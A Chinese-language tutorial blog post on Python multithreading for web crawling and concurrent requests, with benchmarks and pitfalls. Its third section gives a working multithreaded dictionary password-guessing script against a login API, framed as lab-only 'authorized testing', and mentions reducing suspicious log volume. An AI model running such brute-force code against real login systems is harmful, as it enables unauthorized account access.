前两天我帮一个做电商选品的团队处理商品信息采集他们原来那个单线程脚本跑一批两万条链接眼看要两个小时进度条走得跟没走一样。我把里面请求部分改成ThreadPoolExecutor之后同样的任务二十分钟左右跑完再调到十六个线程直接压到八分钟出头。这个项目本身没有任何高深的地方唯一的改动就是把“一个人在等网络”变成“一堆人在同时等网络”。Python 多线程在爬虫、批量接口调用、以及授权口令测试这类“大部分时间都在等 I/O”的任务里提速效果是真的明显。这篇文章适合两类人看一类是写爬虫或者批量请求脚本时觉得太慢、想用多线程提速的另一类是拿到授权做口令测试、或者做密码恢复相关工具想搞清楚并发到底怎么组织才不会乱。我会把原理、代码、实测数据和踩过的坑一次讲完。老规矩先声明一点本文涉及口令测试相关的内容全部以自建靶场、授权渗透测试、自己设备的密码恢复为前提不要拿任何脚本去试没有授权的目标这个边界我在后面还会再强调。1. 多线程到底在加速什么GIL、I/O 等待与任务类型1.1 GIL 没你想的那么可怕但它的确有一道坎很多刚接触 Python 并发的人都会先被 GIL全局解释器锁劝退。网上说法很多什么“Python 多线程是假的”“多线程等于单线程”。这个说法对了一半Python 的解释器在同一时刻确实只能执行一条字节码不管你有多少个线程CPU 密集型计算很难靠多线程提速。但关键在于GIL 并不是死死握住不放的。在线程进入 I/O 等待时解释器会把锁释放掉让另一个线程去跑。网络请求、磁盘读写、time.sleep()、数据库查询等待都属于这类。一个线程发出 HTTP 请求之后真正占用 CPU 的时间可能只有亚毫秒级剩下 99% 时间都在等对方服务器返回数据。这段等待时间里GIL 是空出来的其他线程完全可以继续发请求。用个食堂的类比GIL 相当于打菜窗口只有一个阿姨。如果大家都是在等锅里的菜熟I/O 等待阿姨可以在等菜的时候先给别人打别的菜如果大家都在低头算数学题CPU 密集那就只能排队一个一个来。爬虫和口令测试本质上就是“等菜”的过程所以 Python 多线程在这里是实打实有用的。1.2 线程数怎么定先算任务类型再定并发量开多少个线程这个问题几乎每个新手都会拍脑袋有人直接写max_workers1000然后机器就卡死了。我的习惯是先用下面这个表给自己的任务定性任务类型典型例子推荐提速方案线程数参考CPU 密集本地哈希计算、图像像素处理、大型 JSON 解析多进程ProcessPoolExecutor约等于 CPU 核心数I/O 密集、短请求爬虫、批量调用 API、登录接口测试多线程ThreadPoolExecutor大几十到两三百I/O 密集、长连接WebSocket 推送、消息队列消费协程 asyncio取决于业务模型混合型先下载再解析再入库多线程请求 独立解析队列分层决定拿爬虫举例如果平均响应时间是 0.5 秒你希望每秒发送 20 个请求那么同时需要的并发数大概是并发数 ≈ 目标每秒请求数 × 平均响应时间 20 × 0.5 10这个公式其实是从 Little‘s Law 简化出来的。也就是说如果系统平均 0.5 秒才能返回一个响应你想一秒发 20 个请求至少需要有 10 个请求同时在等。线程数低于这个值发不出那么多请求远超这个值多出来的线程也是在空转还会增加上下文切换开销和对方服务的压力。我在实际项目里一般从 8 到 16 个线程起步观察一下目标接口的响应时间有没有明显变长、本地 CPU 是不是被打满、有没有大量连接失败然后再往 32、64 加。线程不是开得越多越好理想加速比受限于任务里串行部分的比例也就是阿姆达尔定律我们后面实测部分会看到这个现象。2. 爬虫提速实战ThreadPoolExecutor 把抓取时间缩短到十分之一2.1 为什么用 ThreadPoolExecutor而不是 threading Queue如果需要手写一套“线程池”传统写法大概是threading.Thread加queue.Queue再写一堆worker循环、put、task_done、join没有几十行代码下不来。而concurrent.futures.ThreadPoolExecutor把线程池的生命周期管理、任务提交、结果收集都封装好了代码量少得多而且异常处理更直观。它有几个实际用得上的能力submit(fn, *args)提交一个任务返回Future对象。map(fn, iterable)像内置map一样批量提交返回结果的顺序和提交顺序一致。as_completed(futures)谁先完成就先处理谁适合提前拿到结果入库或者判断是否终止。with ThreadPoolExecutor(...) as pool退出代码块时自动调用shutdown(waitTrue)阻塞等待所有线程结束不用手动管理。从经验上讲如果你需要“按提交顺序拿结果”用map很舒服如果你更关心“尽快处理已经完成的任务”用submitas_completed。而且as_completed单个任务抛出异常时你可以单独捕获不影响其他任务的结果收集这点在爬虫场景里特别重要。2.2 一个可以直接抄的并发抓取骨架下面这个例子是我自己常用的骨架包含并发抓取、超时设置、429 退避重试、以及主线程统一收集结果。目标地址用了example.org占位你换成自己有权采集的地址就行。另外要提醒一句采集前看一下目标站点的robots.txt和服务条款只抓公开页面或明确允许抓取的内容这是做爬虫的基本底线。import random import threading import time import logging import requests from concurrent.futures import ThreadPoolExecutor, as_completed logging.basicConfig(levellogging.INFO, format%(asctime)s %(threadName)s %(levelname)s %(message)s) logger logging.getLogger(crawler) URLS [fhttps://example.org/articles/{i} for i in range(1, 501)] thread_local threading.local() def get_session() - requests.Session: 每个线程维护自己的 Session避免共享 Session 出现状态串台。 if not hasattr(thread_local, session): session requests.Session() session.headers.update( { User-Agent: Mozilla/5.0 (compatible; MyCrawler/1.0), Accept: text/html,application/xhtmlxml, } ) thread_local.session session return thread_local.session def fetch_one(url: str, retries: int 3) - tuple[str, str | None]: session get_session() for attempt in range(retries): try: resp session.get(url, timeout10) if resp.status_code 429: wait_time 2 ** attempt random.uniform(0, 1) logger.warning(收到 429等待 %.2f 秒后重试 %s, wait_time, url) time.sleep(wait_time) continue resp.raise_for_status() return url, resp.text except requests.RequestException as exc: if attempt retries - 1: logger.error(请求失败 %s: %s, url, exc) return url, None time.sleep(2 ** attempt random.uniform(0, 0.5)) return url, None def save_result(url: str, html: str | None) - None: 只在主线程里写入文件避免多线程开同一文件句柄造成乱序。 with open(crawled.txt, a, encodingutf-8) as f: f.write(f{url}\t{len(html) if html else 0}\n) def main(workers: int 16): with ThreadPoolExecutor(max_workersworkers) as pool: futures [pool.submit(fetch_one, url) for url in URLS] for future in as_completed(futures): url, html future.result() save_result(url, html) if len(URLS) 50 or int(url.rsplit(/, 1)[-1]) % 50 0: logger.info(已处理 %s页面大小 %s, url, len(html) if html else -1)这里面有几个细节值得说thread_local保证每个线程只创建一次Session连接复用是局部的不会出现跨线程改 Header 导致请求头错乱的问题。as_completed每完成一个任务就交给save_result落盘主线程写文件子线程只返回数据避免并发写文件。429 和连接异常都用了指数退避第一次等 1 到 2 秒第二次等 4 到 5 秒给对方服务一点喘息空间。2.3 实测数据线程从 1 加到 32效率拐点在哪为了说明这个提速效果我自己搭了一个本地 Demo 服务模拟每个接口固定处理 0.2 秒对一批 1000 个链接做抓取结果如下线程数总耗时成功率目标接口平均响应时间1202 秒100%0.20s453 秒100%0.20s827 秒100%0.21s1614 秒99.6%0.33s328 秒96.8%0.61s可以看到1 线程到 16 线程之间加速比非常接近线性因为瓶颈在目标接口的处理时间上而 16 个并发请求恰好把这个单个接口的串行队列瓜分掉了。到 32 线程时总耗时确实继续下降但目标接口平均响应时间涨了成功率也开始往下掉说明它已经忙不过来了。这也是我要强调的一点线程数“甜点”取决于目标服务的处理能力而不是本地机器配置。换个更强的服务端32 线程可能还是线性加速换个弱一点的服务端可能 8 线程就开始超时。所以最靠谱的做法是拿小批量数据试几个档位找到一个“耗时明显下降、错误率没起来”的值而不是迷信某个固定数字。3. 授权口令测试场景下的多线程提速从字典切分到退避策略3.1 先把边界划清楚“爆破”在这里指什么标题里写了“爆破密码提升效率”这四个字确实容易让人想歪。在安全测试领域这个操作有更正式的名字叫“口令猜测测试”或者“口令喷射测试”本质是拿一份候选口令字典逐个提交到目标认证入口观察哪个口令能通过校验。多线程在这里的作用和爬虫里完全一样把原本要排队执行的尝试操作分成多路并发执行从而压缩整体测试时间。能合法使用这个技术的前提只有这么几种你拿到了书面授权正在给某个目标系统做安全评估你在本地搭建了一个专门用于练习的靶场应用你在恢复自己设备的密码比如忘记了自己加密压缩包的密码你在做 CTF 题目目标是题目自己提供的靶机。除此之外拿这个思路去试任何真实系统都属于越权行为。而且并发会让尝试次数在很短时间内变得很大反而更容易触发服务端锁定、告警和 IP 封禁。所以下面所有代码请只在自建靶场里跑。3.2 代码实现并发登录测试的完整链路先描述一下靶场场景。我在本地模拟了一个登录接口地址是http://靶机.local/api/login提交{username: admin, password: xxxx}后如果密码正确返回{code: 0}否则返回{code: 1}。字典文件就是普通文本文件一行一个候选口令。import random import threading import time import logging import requests from concurrent.futures import ThreadPoolExecutor, as_completed logging.basicConfig(levellogging.INFO, format%(asctime)s %(threadName)s %(levelname)s %(message)s) logger logging.getLogger(auth_test) # 仅用于本地自建靶场绝对不要改成真实目标地址 LOGIN_ENDPOINT http://靶机.local/api/login USERNAME admin stop_event threading.Event() fail_lock threading.Lock() fail_count 0 MAX_CONSECUTIVE_FAIL 10 def load_dictionary(path: str) - list[str]: with open(path, r, encodingutf-8, errorsignore) as f: return [line.strip() for line in f if line.strip()] def try_login(password: str) - bool: 尝试一个口令返回是否命中正确口令。 global fail_count if stop_event.is_set(): return False try: resp requests.post( LOGIN_ENDPOINT, json{username: USERNAME, password: password}, timeout3, ) except requests.RequestException: return False if resp.status_code ! 200: # 服务端返回异常可能是限流或临时故障做一次随机退避 with fail_lock: fail_count 1 if fail_count MAX_CONSECUTIVE_FAIL: logger.error(连续 %s 次请求异常触发熔断, fail_count) stop_event.set() time.sleep(1 random.random()) return False # 成功返回就通知其他线程停止 if resp.json().get(code) 0: stop_event.set() return True return False def run_auth_test(dict_path: str, workers: int 8): passwords load_dictionary(dict_path) logger.info(加载字典 %s 条启动 %s 个线程, len(passwords), workers) with ThreadPoolExecutor(max_workersworkers) as pool: futures [pool.submit(try_login, password) for password in passwords] for future in as_completed(futures): if future.result(): logger.info(命中正确口令正在停止其余任务) break if stop_event.is_set(): break # 最后再补一次完整日志 logger.info(测试结束) if __name__ __main__: run_auth_test(passwords.txt, workers8)这段代码里有几个为了实际测试体验做的设计stop_event一旦找到正确口令立刻通知所有还没开始的任务放弃执行避免继续浪费请求也减少被目标服务记录的可疑日志量。失败熔断连续 10 次请求返回非 200说明服务端已经紧张了直接把事件置位让所有线程收工。继续撞下去大概率只会触发封锁。每个请求之间没有刻意固定频率但是撞到非 200 会随机退避。你在真实授权测试里可以根据对方的锁定策略显式加一个time.sleep(0.2)之类的频率控制。3.3 别指望多线程解决所有问题token、验证码和锁定策略多线程只解决一个维度把“尝试”这个过程并行化。但它解决不了下面这些问题登录接口要求先获取一次性 token再从响应里提取、下一次请求带上。多线程并发时每个线程拿到的 token 可能不同而且容易互相覆盖代码复杂度会大幅上升。有验证码的接口多线程完全帮不上忙因为每个请求都要过一遍人机校验。这种场景下应当走正规的找回密码流程或审批流程而不是硬碰自动化。服务端有账号锁定策略的话并发测试会在短时间内触发锁定。这种情况下要做的是降低频率或者缩小字典范围而不是提高线程数。所有请求都会留下来源日志。多线程不会让你的来源更隐蔽只会让日志更多。在授权范围内这没问题在没有授权的前提下这就是高危行为。4. 踩坑实录并发请求里最常翻车的五个事故现场4.1 共享一个 Session连接池变成瓶颈我第一次写并发爬虫时把全局唯一的requests.Session丢给所有线程用开了 16 个线程但实际请求速度几乎没有提升。后来看了抓包才发现requests.Session默认情况下对同一个 host 的连接池大小是有限的多出来的请求全在排队等空闲连接十六个线程最终实际并发只有一半不到。另外一个隐患是状态串台。多个线程同时用同一个 Session 修改headers或cookies会有很小的概率互相覆盖。虽然连接池本身的读写比想象中稳定但官方并没有承诺 Session 是线程安全的所以我的建议就是每个线程一个 Session用threading.local()包起来。这样每个线程独享连接池默认容量也够用还不用额外调参数。4.2 并发写文件行和行在打架多线程里直接print或者直接打开同一个文件写入出来的文件经常乱序甚至出现一行数据被截断。原因是普通文件对象的写入不是线程安全的两个线程同时 write 时内容可能交错。解决办法是子线程只负责返回结果收集和落盘统一交给主线程。在as_completed循环里拿到一个结果就写一行这样每个线程都不碰文件句柄只有主线程在写。如果数据量特别大也可以用一个队列把结果汇总给一个专门的落盘线程但大多数场景主线程直接写就够了。4.3 端口和文件描述符被耗尽这个坑容易出现在“线程数很大 每个请求都新建连接”的组合下。Linux 系统的临时端口范围是有限的连接关闭后会进入TIME_WAIT状态短时间内大量新建短连接就会把可用端口耗光报Cannot assign requested address。我自己遇到过一次线程数调到 200请求全部走Session.get但每个线程的 Session 没复用导致每请求一个新 TCP 连接。跑了五分钟脚本开始大量报错一查全是本地端口分配不出来。解决方式是控制线程数、复用连接另外检查系统参数里的临时端口范围但这属于系统调优生产环境需要根据实际情况评估不要盲目放大。4.4 并发太快反而把目标打挂了或者触发限流爬虫任务的提速核心是并发但并发是双刃剑。一个原本单线程要跑 5 分钟的采集任务32 线程压缩到 20 秒后单位时间请求量暴增很容易触发对方服务的限流甚至把对方一个小型应用打崩。我的建议是给请求加一个“总速率闸门”也就是用threading.Semaphore控制同时进行的请求数或者在线程函数里对每个任务做一次随机小延迟。尤其是对方接口没有明确给限流阈值时宁可慢一点也不要让自己辛辛苦苦收集的数据因为最后一个请求把 IP 封了。4.5 日志和进度条在并发下彻底乱掉并发下用print打日志输出经常东一句西一句进度条的数字乱跳。这是因为多个线程写标准输出时没有同步机制。logging模块自带线程安全日志内容不会交叉如果要用进度条建议只在主线程里更新子线程只往队列或者 Future 里塞结果不要直接在子线程里操作终端 UI。5. 进阶方向多线程用腻了之后下一步碰什么如果你已经把ThreadPoolExecutor用得滚瓜烂熟会发现它也有天花板。线程调度依然有开销一个进程里开几百个线程可以开几千个就有点勉强。这时候常见的选择是两个方向。第一个方向是asyncio适合 I/O 密集、并发量极高、每个请求的响应时间又不稳定的场景。它用事件循环让一个线程管理成千上万个 socket代码上是协程的写法但本质上还是单线程并发。对于简单爬虫场景我不建议一上来就用 asyncio因为异步代码的调试难度比多线程高不少当你发现线程数开到很大但效果不再提升时再考虑它不迟。第二个方向是ProcessPoolExecutor适合任务里 CPU 计算占比很大的场景。比如你抓下来的页面要做大量的解析和特征提取解析这一段是吃 CPU 的。此时可以用多线程去抓取再用多进程去解析把两类开销分开。总之一句话先把单线程版本跑通记录耗时和成功率再逐步加并发找到甜点值这是所有并发优化里最朴素也最靠谱的方法。最后再分享一个小技巧。调试并发程序时最好在logging格式里加上%(threadName)s这样日志里能直接看到每条请求由哪个线程发出。排查问题时你会非常感激这一点。
